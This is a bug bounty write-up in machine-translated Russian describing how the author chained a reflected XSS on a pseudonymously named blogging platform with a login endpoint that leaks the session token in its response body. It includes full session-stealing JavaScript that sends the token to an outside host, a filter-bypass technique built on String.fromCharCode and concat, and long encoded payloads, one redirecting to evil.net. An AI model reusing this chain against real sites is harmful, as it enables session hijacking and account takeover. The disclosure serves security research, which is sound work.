Hi
Я очень редко пишу о своих выводах, но я решил поделиться этим, что может помочь вам при написании pocs.
Во-первых, честно говоря, я один из самых ленивых хакеров, я запускаю свои собственные скрипты и общие инструменты, такие как wfuzz, sublister, nmap и т. Д., И смотрю случайный фильм после того, как фильм закончен, я помню тех, кто работает.
Я искал общие каталоги на частном веб-сайте, назовем его jerico.com.
jerico.com - популярная платформа для ведения блогов, насчитывающая более 500 миллионов пользователей.
Как обычно, я запустил Wfuzz со списком слов
wfuzz -c -z file,/root/Desktop/common-list --hc 404,400,302 https://jerico.com/FUZZ
Я был удивлен, увидев, что сервер вернулся
200 OK
для следующей конечной точки
/account/settings/server
Когда я запросил эту конечную точку в своем браузере, я увидел настройки своей учетной записи, я попытался просмотреть исходный код веб-сайта и пришел к выводу, что строка «сервер» была возвращена внутри тега сценария;
<script> var user = ‘server’; </script>
конечно, очень простой полезной нагрузкой будет:
'-alert(2)-'
поэтому полный URL-адрес будет:
https://jerico.com/account/settings/server‘-alert(2)-’
Бум, это очень простой XSS, повезло! : D
Отчет
Hi Team I found an xss at https://jerico.com/account/settings/server‘-alert(2)-’ happy fixing.
Да, я люблю сообщать об очень простых проблемах без дальнейшего расследования, но на этот раз команда не ответила, поэтому я решил привлечь внимание.
Один из интересных моментов для меня - логин.
Из моего предыдущего исследования я обнаружил, что конечная точка входа в систему возвращала cookie сеанса в
set-cookie Header
in Response body
Если вы пытались авторизоваться
POST /Account/Login HTTP/1.1 HOST: jerico.com
user[email][email protected]&user[password]=qwerty
Ответ будет таким:
HTTP/1.1 200 OK Set-Cookie:session=xz4z5cxz4c56zx4c6x5zc46z5xczx46cx4zc6xz4czxc; secure;httpOnly;domain=jersico.com
{"session":"xz4z5cxz4c56zx4c6x5zc46z5xczx46cx4zc6xz4czxc"}
Файл cookie сеанса отмечен как httpOnly
, поэтому javascript не получит к нему доступа
Но сеанс возвращается в теле ответа, Javascript не будет обращаться к файлу cookie, но может получить доступ к телу ответа и получить защищенный файл cookie.
Итак, чтобы получить файл cookie, вам необходимо отправить запрос на отправку в качестве входа в систему и получить тело ответа:
POST /Account/Login HTTP/1.1 HOST: jerico.com ْX-Requested-With:
XMLHttpRequestuser[email][email protected]&user[password]=qwerty
Ты издеваешься ? как бы вы получили адрес электронной почты и пароль.
Я попытался отправить запрос csrf в конечную точку входа без каких-либо параметров тела
POST /Account/Login HTTP/1.1
Cookie: session=xz4z5cxz4c56zx4c6x5zc46z5xczx46cx4zc6xz4czxc;
HOST: jerico.com
И вау!
Мне повезло, что сервер возвращал те же данные в теле ответа:
HTTP/1.1 200 OK Set-Cookie:session=xz4z5cxz4c56zx4c6x5zc46z5xczx46cx4zc6xz4czxc; secure;httpOnly;domain=jersico.com
{"session":"xz4z5cxz4c56zx4c6x5zc46z5xczx46cx4zc6xz4czxc"}
Да, план идет хорошо.
- Отправьте запрос XHR для входа в конечную точку
- Сервер возвращает идентификатор сеанса в теле ответа
- Принеси тело и укради сеанс.
вот полный код JS для кражи cookie
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() { if (xhr.readyState == 4)
{
prompt('You are hacked , your session='+xhr.response);}
document.location.replace('//yassergersy.com/stealer?data='+xhr.response');
}
xhr.open('POST', '/account/login',true);
xhr.withCredentials = true;
xhr.send(null);
</script>
Ошибка кодирования и отправки полезной нагрузки :(, большинство специальных символов были отфильтрованы:
",<>/\
Для достижения цели мне хватило следующих персонажей:
'()-.
Нам нужно преобразовать все специальные символы в String.fromCharCode(ascii)
для пробела = 32
String.fromCharCode(32)
для запятой = 44
String.fromCharCode(44)
поэтому для предупреждения (1337) полезная нагрузка будет:
eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 51, 51, 55, 41 ))
Подождите, запятая была отфильтрована, полезная нагрузка снова выйдет из строя, нам нужен еще один трюк, мои навыки jascript не так хороши
Я попытался найти в Google
javascript string concatenation
И нашел concat()
https://www.w3schools.com/jsref/jsref_concat_string.asp
Поэтому вместо разделения символов мы можем объединить их, используя .concat()
например, если нам нужно передать a,b
мы можем объединить b с a, используя:
'a’.concat('b')
Конечно, этот трюк не будет использоваться для алфавитных символов, он будет использоваться для специальных символов, которые приложение дезинфицирует, например
"<>/\,
Таким образом, используя concat
и String.fromCharCode
, мы можем выполнить любой JS-код.
я решил протестировать следующую полезную нагрузку
<script> document.location.replace("//evil.net"); </script>
Это было слишком скучно, чтобы делать это вручную, поэтому я решил написать скрипт на Python, чтобы упростить задачу:
https://gist.github.com/YasserGersy/a0fee5ce7422a558c84bfd7790d8a082
сохранение полезной нагрузки в файл с именем payload.txt
и выполнение следующей команды
python Js2S.py payload.txt
В результате генерировались:
''.concat(String.fromCharCode(60)).concat('script').concat(String.fromCharCode(62)).concat(String.fromCharCode(10)).concat('document').concat(String.fromCharCode(46)).concat('location').concat(String.fromCharCode(46)).concat('replace').concat(String.fromCharCode(40)).concat(String.fromCharCode(34)).concat(String.fromCharCode(47)).concat(String.fromCharCode(47)).concat('evil').concat(String.fromCharCode(46)).concat('net').concat(String.fromCharCode(34)).concat(String.fromCharCode(41)).concat(String.fromCharCode(59)).concat(String.fromCharCode(10)).concat(String.fromCharCode(60)).concat(String.fromCharCode(47)).concat('script').concat(String.fromCharCode(62)).concat(String.fromCharCode(10))
Эта сгенерированная полезная нагрузка рассматривается как одна строка и не будет фильтроваться приложением, поэтому мы можем передать ее eval
и выполнить.
в его случае мне нужно, чтобы эта полезная нагрузка была записана в документе.
Так что я буду использовать document.write(my_payload)
вместо eval
Любой может использовать любую функцию.
так что наша окончательная полезная нагрузка будет:
https://jerico.com/Account/Settings/server`-dcument.write( <<generated-payload-by-python-script>>)'-
Успешно: D, давайте попробуем полезную нагрузку в реальном мире:
$cat myrealworldpayload.txt
.
<script> var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == 4) {prompt('You are hacked , your session='+xhr.response);}} xhr.open('POST', '/account/login', true); xhr.send(null); </script>
И скрипт python сгенерировал следующее:
python Js2S.py myrealworldpayload.txt
Выход >
''.concat(String.fromCharCode(60)).concat('script').concat(String.fromCharCode(62)).concat(String.fromCharCode(10)).concat('var').concat(String.fromCharCode(32)).concat('xhr').concat(String.fromCharCode(32)).concat(String.fromCharCode(61)).concat(String.fromCharCode(32)).concat('new').concat(String.fromCharCode(32)).concat(String.fromCharCode(88)).concat('MLHttpRequest').concat(String.fromCharCode(40)).concat(String.fromCharCode(41)).concat(String.fromCharCode(59)).concat(String.fromCharCode(10)).concat('xhr').concat(String.fromCharCode(46)).concat('onreadystatechange').concat(String.fromCharCode(32)).concat(String.fromCharCode(61)).concat(String.fromCharCode(32)).concat('function').concat(String.fromCharCode(40)).concat(String.fromCharCode(41)).concat(String.fromCharCode(32)).concat(String.fromCharCode(123)).concat(String.fromCharCode(32)).concat('if').concat(String.fromCharCode(32)).concat(String.fromCharCode(40)).concat('xhr').concat(String.fromCharCode(46)).concat('readyState').concat(String.fromCharCode(32)).concat(String.fromCharCode(61)).concat(String.fromCharCode(61)).concat(String.fromCharCode(32)).concat('4').concat(String.fromCharCode(41)).concat(String.fromCharCode(10)).concat(String.fromCharCode(32)).concat(String.fromCharCode(123)).concat('prompt').concat(String.fromCharCode(40)).concat(String.fromCharCode(39)).concat(String.fromCharCode(89)).concat('ou').concat(String.fromCharCode(32)).concat('are').concat(String.fromCharCode(32)).concat('hacked').concat(String.fromCharCode(32)).concat(String.fromCharCode(44)).concat(String.fromCharCode(32)).concat('your').concat(String.fromCharCode(32)).concat('session').concat(String.fromCharCode(61)).concat(String.fromCharCode(39)).concat(String.fromCharCode(43)).concat('xhr').concat(String.fromCharCode(46)).concat('response').concat(String.fromCharCode(41)).concat(String.fromCharCode(59)).concat(String.fromCharCode(125)).concat(String.fromCharCode(125)).concat(String.fromCharCode(10)).concat('xhr').concat(String.fromCharCode(46)).concat('open').concat(String.fromCharCode(40)).concat(String.fromCharCode(39)).concat('POST').concat(String.fromCharCode(39)).concat(String.fromCharCode(44)).concat(String.fromCharCode(32)).concat(String.fromCharCode(39)).concat(String.fromCharCode(47)).concat('account').concat(String.fromCharCode(47)).concat('login').concat(String.fromCharCode(39)).concat(String.fromCharCode(44)).concat(String.fromCharCode(32)).concat('true').concat(String.fromCharCode(41)).concat(String.fromCharCode(59)).concat(String.fromCharCode(10)).concat('xhr').concat(String.fromCharCode(46)).concat('send').concat(String.fromCharCode(40)).concat('null').concat(String.fromCharCode(41)).concat(String.fromCharCode(59)).concat(String.fromCharCode(10)).concat(String.fromCharCode(60)).concat(String.fromCharCode(47)).concat('script').concat(String.fromCharCode(62)).concat(String.fromCharCode(10))
Теперь замените xxxxxxxxxxxxxx
в следующем URL-адресе сгенерированной полезной нагрузкой:
https://jerico.com/Account/Settings/server`-dcument.write( <<xxxxxxxxxxxxx>>)'-
Полезная нагрузка была слишком длинной, поэтому URL-адрес, но не имеет значения, что он работает:
И мне удалось украсть печенье.
Заключение :
Что делает мой настоящий документ, который я отправил команде?
- Полезная нагрузка сначала отображается внутри тега скрипта.
- Полезная нагрузка сначала выполняется как математическая операция, поскольку я использовал «- как операцию вычитания, которая сначала добавит полную вредоносную полезную нагрузку в документ, который будет выполняться без фильтрации.
- Вредоносная полезная нагрузка выполняет и выдает запрос POST и получает ответ для извлечения идентификатора сеанса и отправляет его на веб-сайт злоумышленника http://yassergersy.com, который позже запрашивает его, как показано на изображении выше.
- Веб-сайт злоумышленника получает украденный идентификатор сеанса и регистрирует его.
Учить:
- Думаю в коробке: D
- Цепь жуков для большей отдачи.
- Никогда не прекращайте поиск
Лента новостей
- 4–2–2018 Сообщено
- 5–2–2018 Сортировка
Награда была разочаровывающей :(
С Уважением